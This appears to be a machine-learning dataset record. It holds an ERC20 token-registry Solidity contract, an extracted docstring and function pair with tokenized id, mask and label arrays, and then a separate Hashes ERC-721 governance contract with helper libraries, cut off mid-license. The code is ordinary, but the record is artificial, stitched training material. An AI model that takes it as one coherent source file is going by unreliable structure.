StorageInterface.AddressBytes32Mapping url; StorageInterface.AddressBytes32Mapping ipfsHash; StorageInterface.AddressBytes32Mapping swarmHash; StorageInterface.AddressUIntMapping decimals; StorageInterface.Address tokenVerifier; constructor(address _storage, bytes32 _crate) public StorageAdapter(Storage(_storage), _crate) { tokenAddresses.init("tokenAddresses"); tokenBySymbol.init("tokeBySymbol"); name.init("name"); symbol.init("symbol"); url.init("url"); ipfsHash.init("ipfsHash"); swarmHash.init("swarmHash"); decimals.init("decimals"); tokenVerifier.init("tokenVerifier"); } /// @notice Set ERC20 token verifier function setTokenVerifier(address _tokenVerifier) public onlyContractOwner { store.set(tokenVerifier, _tokenVerifier); } /// @notice Allows trusted account/constract to add a new token to the registry. /// @param _token Address of new token. /// @param _name Name of new token. /// @param _symbol Symbol for new token. /// @param _url Token's project URL. /// @param _decimals Number of decimals, divisibility of new token. /// @param _ipfsHash IPFS hash of token icon. /// @param _swarmHash Swarm hash of token icon. function addToken( address _token, bytes32 _name, bytes32 _symbol, bytes32 _url, uint8 _decimals, bytes32 _ipfsHash, bytes32 _swarmHash ) public returns (uint) { if (isTokenExists(_token)) { return _emitError(ERROR_ERCMANAGER_TOKEN_ALREADY_EXISTS); } if (isTokenSymbolExists(_symbol)) { return _emitError(ERROR_ERCMANAGER_TOKEN_SYMBOL_ALREADY_EXISTS); } if (!isTokenValid(_token)) { return _emitError(ERROR_ERCMANAGER_INVALID_INVOCATION); } store.add(tokenAddresses, _token); store.set(tokenBySymbol, _symbol, _token); store.set(name, _token, _name); store.set(symbol, _token, _symbol); store.set(url, _token, _url); store.set(decimals, _token, _decimals); store.set(ipfsHash, _token, _ipfsHash); store.set(swarmHash, _token, _swarmHash); _emitLogAddToken(_token, _name, _symbol, _url, _decimals, _ipfsHash, _swarmHash); return OK; } /// @notice Allows owner to alter a token /// @param _token Address of old token. /// @param _newToken Address of new token. /// @param _name Name of new token. /// @param _symbol Symbol for new token. /// @param _url Token's project URL. /// @param _decimals Number of decimals, divisibility of new token. /// @param _ipfsHash IPFS hash of token icon. /// @param _swarmHash Swarm hash of token icon. function setToken( address _token, address _newToken, bytes32 _name, bytes32 _symbol, bytes32 _url, uint8 _decimals, bytes32 _ipfsHash, bytes32 _swarmHash ) public onlyContractOwner returns (uint) { if (!isTokenExists(_token)) { return _emitError(ERROR_ERCMANAGER_TOKEN_NOT_EXISTS); } if (!isTokenValid(_newToken)) { return _emitError(ERROR_ERCMANAGER_INVALID_INVOCATION); } bool changed; if (_symbol != store.get(symbol, _token)) { if (store.get(tokenBySymbol, _symbol) == 0x0) { store.set(tokenBySymbol, store.get(symbol, _token), 0x0); if (_token != _newToken) { store.set(tokenBySymbol, _symbol, _newToken); store.set(symbol, _newToken, _symbol); } else { store.set(tokenBySymbol,_symbol, _token); store.set(symbol, _token, _symbol); } changed = true; } else { return _emitError(ERROR_ERCMANAGER_TOKEN_UNCHANGED); } } if (_token != _newToken) { ERC20Interface(_newToken).totalSupply(); store.set(tokenAddresses, _token, _newToken); if(!changed) { store.set(tokenBySymbol, _symbol, _newToken); store.set(symbol, _newToken, _symbol); } store.set(name, _newToken, _name); store.set(url, _newToken, _url); store.set(decimals, _newToken, _decimals); store.set(ipfsHash, _newToken, _ipfsHash); store.set(swarmHash, _newToken, _swarmHash); _token = _newToken; changed = true; } if (store.get(name, _token) != _name) { store.set(name, _token, _name); changed = true; } if (store.get(decimals, _token) != _decimals) { store.set(decimals, _token, _decimals); changed = true; } if (store.get(url, _token) != _url) { store.set(url, _token, _url); changed = true; } if (store.get(ipfsHash, _token) != _ipfsHash) { store.set(ipfsHash, _token, _ipfsHash); changed = true; } if (store.get(swarmHash, _token) != _swarmHash) { store.set(swarmHash, _token, _swarmHash); changed = true; } if (changed) { _emitLogTokenChange(_token, _newToken, _name, _symbol, _url, _decimals, _ipfsHash, _swarmHash); return OK; } return _emitError(ERROR_ERCMANAGER_TOKEN_UNCHANGED); } /// @notice Allows CBE to remove an existing token from the registry. /// @param _token Address of existing token. function removeTokenByAddress(address _token) public onlyContractOwner returns (uint) { if (!isTokenExists(_token)) { return _emitError(ERROR_ERCMANAGER_TOKEN_NOT_EXISTS); } return removeToken(_token); } /// @notice Allows CBE to remove an existing token from the registry. /// @param _symbol Symbol of existing token. function removeTokenBySymbol(bytes32 _symbol) public onlyContractOwner returns (uint) { if (!isTokenSymbolExists(_symbol)) { return _emitError(ERROR_ERCMANAGER_TOKEN_SYMBOL_NOT_EXISTS); } return removeToken(store.get(tokenBySymbol,_symbol)); } /// @notice Returns token's address by given id function getAddressById(uint _id) public view returns (address) { return store.get(tokenAddresses, _id); } /// @notice Provides a registered token's address when given the token symbol. /// @param _symbol Symbol of registered token. /// @return Token's address. function getTokenAddressBySymbol(bytes32 _symbol) public view returns (address tokenAddress) { return store.get(tokenBySymbol, _symbol); } /// @notice Provides a registered token's metadata, looked up by address. /// @param _token Address of registered token. /// @return Token metadata. function getTokenMetaData(address _token) public view returns ( address _tokenAddress, bytes32 _name, bytes32 _symbol, bytes32 _url, uint8 _decimals, bytes32 _ipfsHash, bytes32 _swarmHash ) { if (!isTokenExists(_token)) { return; } _name = store.get(name, _token); _symbol = store.get(symbol, _token); _url = store.get(url, _token); _decimals = uint8(store.get(decimals, _token)); _ipfsHash = store.get(ipfsHash, _token); _swarmHash = store.get(swarmHash, _token); return (_token, _name, _symbol, _url, _decimals, _ipfsHash, _swarmHash); } /// @notice Returns count of registred ERC20 tokens /// @return token count function tokensCount() public view returns (uint) { return store.count(tokenAddresses); } /// @notice Returns an array containing all token addresses. /// @return Array of token addresses. function getTokenAddresses() public view returns (address[] _tokenAddresses) { _tokenAddresses = new address[](tokensCount()); for (uint _tokenIdx = 0; _tokenIdx < _tokenAddresses.length; ++_tokenIdx) { _tokenAddresses[_tokenIdx] = getAddressById(_tokenIdx); } } /// @notice Provides details of a given tokens function getTokens(address[] _addresses) public view returns ( address[] _tokensAddresses, bytes32[] _names, bytes32[] _symbols, bytes32[] _urls, uint8[] _decimalsArr, bytes32[] _ipfsHashes, bytes32[] _swarmHashes ) { if (_addresses.length == 0) { _addresses = getTokenAddresses(); } _tokensAddresses = _addresses; _names = new bytes32[](_addresses.length); _symbols = new bytes32[](_addresses.length); _urls = new bytes32[](_addresses.length); _decimalsArr = new uint8[](_addresses.length); _ipfsHashes = new bytes32[](_addresses.length); _swarmHashes = new bytes32[](_addresses.length); for (uint i = 0; i < _addresses.length; i++) { _names[i] = store.get(name, _addresses[i]); _symbols[i] = store.get(symbol, _addresses[i]); _urls[i] = store.get(url, _addresses[i]); _decimalsArr[i] = uint8(store.get(decimals, _addresses[i])); _ipfsHashes[i] = store.get(ipfsHash, _addresses[i]); _swarmHashes[i] = store.get(swarmHash, _addresses[i]); } return (_tokensAddresses, _names, _symbols, _urls, _decimalsArr, _ipfsHashes, _swarmHashes); } /// @notice Provides a registered token's metadata, looked up by symbol. /// @param _symbol Symbol of registered token. /// @return Token metadata. function getTokenBySymbol(bytes32 _smbl) public view returns ( address _tokenAddress, bytes32 _name, bytes32 _symbol, bytes32 _url, uint8 _decimals, bytes32 _ipfsHash, bytes32 _swarmHash ) { if (!isTokenSymbolExists(_smbl)) { return; } address _token = store.get(tokenBySymbol, _smbl); return getTokenMetaData(_token); } /// @notice Tells whether a given token exists or not function isTokenExists(address _token) public view returns (bool) { return store.includes(tokenAddresses, _token); } /// @notice Tells whether a given token exists or not function isTokenSymbolExists(bytes32 _symbol) public view returns (bool) { return (store.get(tokenBySymbol, _symbol) != address(0)); } /// @notice Tells whether a given token valid or not function isTokenValid(address _token) public view returns (bool) { if (store.get(tokenVerifier) != 0x0) { ERC20TokenVerifier verifier = ERC20TokenVerifier(store.get(tokenVerifier)); return verifier.verify(_token); } return true; } /// @notice Allows owner to remove an existing token from the registry. /// @param _token Address of existing token. function removeToken(address _token) internal returns (uint) { _emitLogRemoveToken( _token, store.get(name, _token), store.get(symbol, _token), store.get(url, _token), uint8(store.get(decimals, _token)), store.get(ipfsHash, _token), store.get(swarmHash, _token) ); store.set(tokenBySymbol, store.get(symbol,_token), address(0)); store.remove(tokenAddresses, _token); // TODO: ahiatsevich clean up url, decimals, ipfsHash, swarmHash return OK; } }
@notice Tells whether a given token valid or not
function isTokenValid(address _token) public view returns (bool) { if (store.get(tokenVerifier) != 0x0) { ERC20TokenVerifier verifier = ERC20TokenVerifier(store.get(tokenVerifier)); return verifier.verify(_token); } return true; }
12,973,773
[ 1, 21009, 87, 2856, 279, 864, 1147, 923, 578, 486, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 1345, 1556, 12, 2867, 389, 2316, 13, 1071, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 309, 261, 2233, 18, 588, 12, 2316, 17758, 13, 480, 374, 92, 20, 13, 288, 203, 5411, 4232, 39, 3462, 1345, 17758, 20130, 273, 4232, 39, 3462, 1345, 17758, 12, 2233, 18, 588, 12, 2316, 17758, 10019, 203, 5411, 327, 20130, 18, 8705, 24899, 2316, 1769, 203, 3639, 289, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { IHashes } from "./IHashes.sol"; import { LibDeactivateToken } from "./LibDeactivateToken.sol"; import { LibEIP712 } from "./LibEIP712.sol"; import { LibSignature } from "./LibSignature.sol"; import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import { ERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Hashes * @author DEX Labs * @notice This contract handles the Hashes ERC-721 token. */ contract Hashes is IHashes, ERC721Enumerable, ReentrancyGuard, Ownable { using SafeMath for uint256; /// @notice version for this Hashes contract string public constant version = "1"; // solhint-disable-line const-name-snakecase /// @notice activationFee The fee to activate (and the payment to deactivate) /// a governance class hash that wasn't reserved. This is the initial /// minting fee. uint256 public immutable override activationFee; /// @notice locked The lock status of the contract. Once locked, the contract /// will never be unlocked. Locking prevents the transfer of ownership. bool public locked; /// @notice mintFee Minting fee. uint256 public mintFee; /// @notice reservedAmount Number of Hashes reserved. uint256 public reservedAmount; /// @notice governanceCap Number of Hashes qualifying for governance. uint256 public governanceCap; /// @notice nonce Monotonically-increasing number (token ID). uint256 public nonce; /// @notice baseTokenURI The base of the token URI. string public baseTokenURI; bytes internal constant TABLE = "0123456789abcdef"; /// @notice A checkpoint for marking vote count from given block. struct Checkpoint { uint32 id; uint256 votes; } /// @notice deactivated A record of tokens that have been deactivated by token ID. mapping(uint256 => bool) public deactivated; /// @notice lastProposalIds A record of the last recorded proposal IDs by an address. mapping(address => uint256) public lastProposalIds; /// @notice checkpoints A record of votes checkpoints for each account, by index. mapping(address => mapping(uint256 => Checkpoint)) public checkpoints; /// @notice numCheckpoints The number of checkpoints for each account. mapping(address => uint256) public numCheckpoints; mapping(uint256 => bytes32) nonceToHash; mapping(uint256 => bool) redeemed; /// @notice Emitted when governance class tokens are activated. event Activated(address indexed owner, uint256 indexed tokenId); /// @notice Emitted when governance class tokens are deactivated. event Deactivated(address indexed owner, uint256 indexed tokenId, uint256 proposalId); /// @notice Emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice Emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /// @notice Emitted when a Hash was generated/minted event Generated(address artist, uint256 tokenId, string phrase); /// @notice Emitted when a reserved Hash was redemed event Redeemed(address artist, uint256 tokenId, string phrase); // @notice Emitted when the base token URI is updated event BaseTokenURISet(string baseTokenURI); // @notice Emitted when the mint fee is updated event MintFeeSet(uint256 indexed fee); /** * @notice Constructor for the Hashes token. Initializes the state. * @param _mintFee Minting fee * @param _reservedAmount Reserved number of Hashes * @param _governanceCap Number of hashes qualifying for governance * @param _baseTokenURI The initial base token URI. */ constructor(uint256 _mintFee, uint256 _reservedAmount, uint256 _governanceCap, string memory _baseTokenURI) ERC721("Hashes", "HASH") Ownable() { reservedAmount = _reservedAmount; activationFee = _mintFee; mintFee = _mintFee; governanceCap = _governanceCap; for (uint i = 0; i < reservedAmount; i++) { // Compute and save the hash (temporary till redemption) nonceToHash[nonce] = keccak256(abi.encodePacked(nonce, _msgSender())); // Mint the token _safeMint(_msgSender(), nonce++); } baseTokenURI = _baseTokenURI; } /** * @notice Allows the owner to lock ownership. This prevents ownership from * ever being transferred in the future. */ function lock() external onlyOwner { require(!locked, "Hashes: can't lock twice."); locked = true; } /** * @dev An overridden version of `transferOwnership` that checks to see if * ownership is locked. */ function transferOwnership(address _newOwner) public override onlyOwner { require(!locked, "Hashes: can't transfer ownership when locked."); super.transferOwnership(_newOwner); } /** * @notice Allows governance to update the base token URI. * @param _baseTokenURI The new base token URI. */ function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner { baseTokenURI = _baseTokenURI; emit BaseTokenURISet(_baseTokenURI); } /** * @notice Allows governance to update the fee to mint a hash. * @param _mintFee The fee to mint a hash. */ function setMintFee(uint256 _mintFee) external onlyOwner { mintFee = _mintFee; emit MintFeeSet(_mintFee); } /** * @notice Allows a token ID owner to activate their governance class token. * @return activationCount The amount of tokens that were activated. */ function activateTokens() external payable nonReentrant returns (uint256 activationCount) { // Activate as many tokens as possible. for (uint256 i = 0; i < balanceOf(msg.sender); i++) { uint256 tokenId = tokenOfOwnerByIndex(msg.sender, i); if (tokenId >= reservedAmount && tokenId < governanceCap && deactivated[tokenId]) { deactivated[tokenId] = false; activationCount++; // Emit an activation event. emit Activated(msg.sender, tokenId); } } // Increase the sender's governance power. _moveDelegates(address(0), msg.sender, activationCount); // Ensure that sufficient ether was provided to pay the activation fee. // If a sufficient amount was provided, send it to the owner. Refund the // sender with the remaining amount of ether. bool sent; uint256 requiredFee = activationFee.mul(activationCount); require(msg.value >= requiredFee, "Hashes: must pay adequate fee to activate hash."); (sent,) = owner().call{value: requiredFee}(""); require(sent, "Hashes: couldn't pay owner the activation fee."); if (msg.value > requiredFee) { (sent,) = msg.sender.call{value: msg.value - requiredFee}(""); require(sent, "Hashes: couldn't refund sender with the remaining ether."); } return activationCount; } /** * @notice Allows the owner to process a series of deactivations from governance * class tokens owned by a single holder. The owner is responsible for * handling payment once deactivations have been finalized. * @param _tokenOwner The owner of the hashes to deactivate. * @param _proposalId The proposal ID that this deactivation is related to. * @param _signature The signature to prove the owner wants to deactivate * their holdings. * @return deactivationCount The amount of tokens that were deactivated. */ function deactivateTokens(address _tokenOwner, uint256 _proposalId, bytes memory _signature) external override nonReentrant onlyOwner returns (uint256 deactivationCount) { // Ensure that the token owner has approved the deactivation. require(lastProposalIds[_tokenOwner] < _proposalId, "Hashes: can't re-use an old proposal ID."); lastProposalIds[_tokenOwner] = _proposalId; bytes32 eip712DomainHash = LibEIP712.hashEIP712Domain(name(), version, getChainId(), address(this)); bytes32 deactivateHash = LibDeactivateToken.getDeactivateTokenHash( LibDeactivateToken.DeactivateToken({ proposalId: _proposalId }), eip712DomainHash ); require(LibSignature.getSignerOfHash(deactivateHash, _signature) == _tokenOwner, "Hashes: The token owner must approve the deactivation."); // Deactivate as many tokens as possible. for (uint256 i = 0; i < balanceOf(_tokenOwner); i++) { uint256 tokenId = tokenOfOwnerByIndex(_tokenOwner, i); if (tokenId >= reservedAmount && tokenId < governanceCap && !deactivated[tokenId]) { deactivated[tokenId] = true; deactivationCount++; // Emit a deactivation event. emit Deactivated(_tokenOwner, tokenId, _proposalId); } } // Decrease the voter's governance power. _moveDelegates(_tokenOwner, address(0), deactivationCount); return deactivationCount; } /** * @notice Generate a new Hashes token provided a phrase. This * function generates/saves a hash, mints the token, and * transfers the minting fee to the HashesDAO when * applicable. * @param _phrase Phrase used as part of hashing inputs. */ function generate(string memory _phrase) external nonReentrant payable { // Ensure that the hash can be generated. require(bytes(_phrase).length > 0, "Hashes: Can't generate hash with the empty string."); // Ensure token minter is passing in a sufficient minting fee. require(msg.value >= mintFee, "Hashes: Must pass sufficient mint fee."); // Compute and save the hash nonceToHash[nonce] = keccak256(abi.encodePacked(nonce, _msgSender(), _phrase)); // Mint the token _safeMint(_msgSender(), nonce++); uint256 mintFeePaid; if (mintFee > 0) { // If the minting fee is non-zero // Send the fee to HashesDAO. (bool sent,) = owner().call{value: mintFee}(""); require(sent, "Hashes: failed to send ETH to HashesDAO"); // Set the mintFeePaid to the current minting fee mintFeePaid = mintFee; } if (msg.value > mintFeePaid) { // If minter passed ETH value greater than the minting // fee paid/computed above // Refund the remaining ether balance to the sender. Since there are no // other payable functions, this remainder will always be the senders. (bool sent,) = _msgSender().call{value: msg.value - mintFeePaid}(""); require(sent, "Hashes: failed to refund ETH."); } if (nonce == governanceCap) { // Set mint fee to 0 now that governance cap has been hit. // The minting fee can only be increased from here via // governance. mintFee = 0; } emit Generated(_msgSender(), nonce - 1, _phrase); } /** * @notice Redeem a reserved Hashes token. Any may redeem a * reserved Hashes token so long as they hold the token * and this particular token hasn't been redeemed yet. * Redemption lets an owner of a reserved token to * modify the phrase as they choose. * @param _tokenId Token ID. * @param _phrase Phrase used as part of hashing inputs. */ function redeem(uint256 _tokenId, string memory _phrase) external nonReentrant { // Ensure redeemer is the token owner. require(_msgSender() == ownerOf(_tokenId), "Hashes: must be owner."); // Ensure that redeemed token is a reserved token. require(_tokenId < reservedAmount, "Hashes: must be a reserved token."); // Ensure the token hasn't been redeemed before. require(!redeemed[_tokenId], "Hashes: already redeemed."); // Mark the token as redeemed. redeemed[_tokenId] = true; // Update the hash. nonceToHash[_tokenId] = keccak256(abi.encodePacked(_tokenId, _msgSender(), _phrase)); emit Redeemed(_msgSender(), _tokenId, _phrase); } /** * @notice Verify the validity of a Hash token given its inputs. * @param _tokenId Token ID for Hash token. * @param _minter Minter's (or redeemer's) Ethereum address. * @param _phrase Phrase used at time of generation/redemption. * @return Whether the Hash token's hash saved given this token ID * matches the inputs provided. */ function verify(uint256 _tokenId, address _minter, string memory _phrase) external override view returns (bool) { // Enforce the normal hashes regularity conditions before verifying. if (_tokenId >= nonce || _minter == address(0) || bytes(_phrase).length == 0) { return false; } // Verify the provided phrase. return nonceToHash[_tokenId] == keccak256(abi.encodePacked(_tokenId, _minter, _phrase)); } /** * @notice Retrieve token URI given a token ID. * @param _tokenId Token ID. * @return Token URI string. */ function tokenURI(uint256 _tokenId) public view override returns (string memory) { // Ensure that the token ID is valid and that the hash isn't empty. require(_tokenId < nonce, "Hashes: Can't provide a token URI for a non-existent hash."); // Return the base token URI concatenated with the token ID. return string(abi.encodePacked(baseTokenURI, _toDecimalString(_tokenId))); } /** * @notice Retrieve hash given a token ID. * @param _tokenId Token ID. * @return Hash associated with this token ID. */ function getHash(uint256 _tokenId) external override view returns (bytes32) { return nonceToHash[_tokenId]; } /** * @notice Gets the current votes balance. * @param _account The address to get votes balance. * @return The number of current votes. */ function getCurrentVotes(address _account) external view returns (uint256) { uint256 numCheckpointsAccount = numCheckpoints[_account]; return numCheckpointsAccount > 0 ? checkpoints[_account][numCheckpointsAccount - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param _account The address of the account to check * @param _blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address _account, uint256 _blockNumber) external override view returns (uint256) { require(_blockNumber < block.number, "Hashes: block not yet determined."); uint256 numCheckpointsAccount = numCheckpoints[_account]; if (numCheckpointsAccount == 0) { return 0; } // First check most recent balance if (checkpoints[_account][numCheckpointsAccount - 1].id <= _blockNumber) { return checkpoints[_account][numCheckpointsAccount - 1].votes; } // Next check implicit zero balance if (checkpoints[_account][0].id > _blockNumber) { return 0; } // Perform binary search to find the most recent token holdings // leading to a measure of voting power uint256 lower = 0; uint256 upper = numCheckpointsAccount - 1; while (upper > lower) { // ceil, avoiding overflow uint256 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[_account][center]; if (cp.id == _blockNumber) { return cp.votes; } else if (cp.id < _blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[_account][lower].votes; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (tokenId < governanceCap && !deactivated[tokenId]) { // If Hashes token is in the governance class, transfer voting rights // from `from` address to `to` address. _moveDelegates(from, to, 1); } } function _moveDelegates( address _initDel, address _finDel, uint256 _amount ) internal { if (_initDel != _finDel && _amount > 0) { // Initial delegated address is different than final // delegated address and nonzero number of votes moved if (_initDel != address(0)) { // If we are not minting a new token uint256 initDelNum = numCheckpoints[_initDel]; // Retrieve and compute the old and new initial delegate // address' votes uint256 initDelOld = initDelNum > 0 ? checkpoints[_initDel][initDelNum - 1].votes : 0; uint256 initDelNew = initDelOld.sub(_amount); _writeCheckpoint(_initDel, initDelOld, initDelNew); } if (_finDel != address(0)) { // If we are not burning a token uint256 finDelNum = numCheckpoints[_finDel]; // Retrieve and compute the old and new final delegate // address' votes uint256 finDelOld = finDelNum > 0 ? checkpoints[_finDel][finDelNum - 1].votes : 0; uint256 finDelNew = finDelOld.add(_amount); _writeCheckpoint(_finDel, finDelOld, finDelNew); } } } function _writeCheckpoint( address _delegatee, uint256 _oldVotes, uint256 _newVotes ) internal { uint32 blockNumber = safe32(block.number, "Hashes: exceeds 32 bits."); uint256 delNum = numCheckpoints[_delegatee]; if (delNum > 0 && checkpoints[_delegatee][delNum - 1].id == blockNumber) { // If latest checkpoint is current block, edit in place checkpoints[_delegatee][delNum - 1].votes = _newVotes; } else { // Create a new id, vote pair checkpoints[_delegatee][delNum] = Checkpoint({ id: blockNumber, votes: _newVotes }); numCheckpoints[_delegatee] = delNum.add(1); } emit DelegateVotesChanged(_delegatee, _oldVotes, _newVotes); } function getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function _toDecimalString(uint256 _value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (_value == 0) { return "0"; } uint256 temp = _value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (_value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(_value % 10))); _value /= 10; } return string(buffer); } function _toHexString(uint256 _value) internal pure returns (string memory) { bytes memory buffer = new bytes(66); buffer[0] = bytes1("0"); buffer[1] = bytes1("x"); for (uint256 i = 0; i < 64; i++) { buffer[65 - i] = bytes1(TABLE[_value % 16]); _value /= 16; } return string(buffer); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { IERC721Enumerable } from "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; interface IHashes is IERC721Enumerable { function deactivateTokens(address _owner, uint256 _proposalId, bytes memory _signature) external returns (uint256); function activationFee() external view returns (uint256); function verify(uint256 _tokenId, address _minter, string memory _phrase) external view returns (bool); function getHash(uint256 _tokenId) external view returns (bytes32); function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { LibEIP712 } from "./LibEIP712.sol"; library LibDeactivateToken { struct DeactivateToken { uint256 proposalId; } // Hash for the EIP712 Schema // bytes32 constant internal EIP712_DEACTIVATE_TOKEN_HASH = keccak256(abi.encodePacked( // "DeactivateToken(", // "uint256 proposalId", // ")" // )); bytes32 internal constant EIP712_DEACTIVATE_TOKEN_SCHEMA_HASH = 0xe6c775d77ef8ec84277aad8c3f9e3fa051e3ca07ea28a40e99a1fdf5b8cc0709; /// @dev Calculates Keccak-256 hash of the deactivation. /// @param _deactivate The deactivate structure. /// @param _eip712DomainHash The hash of the EIP712 domain. /// @return deactivateHash Keccak-256 EIP712 hash of the deactivation. function getDeactivateTokenHash(DeactivateToken memory _deactivate, bytes32 _eip712DomainHash) internal pure returns (bytes32 deactivateHash) { deactivateHash = LibEIP712.hashEIP712Message(_eip712DomainHash, hashDeactivateToken(_deactivate)); return deactivateHash; } /// @dev Calculates EIP712 hash of the deactivation. /// @param _deactivate The deactivate structure. /// @return result EIP712 hash of the deactivate. function hashDeactivateToken(DeactivateToken memory _deactivate) internal pure returns (bytes32 result) { // Assembly for more efficiently computing: bytes32 schemaHash = EIP712_DEACTIVATE_TOKEN_SCHEMA_HASH; assembly { // Assert deactivate offset (this is an internal error that should never be triggered) if lt(_deactivate, 32) { invalid() } // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(_deactivate, 32) // Backup let temp1 := mload(pos1) // Hash in place mstore(pos1, schemaHash) result := keccak256(pos1, 64) // Restore mstore(pos1, temp1) } return result; } } // SPDX-License-Identifier: MIT /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at 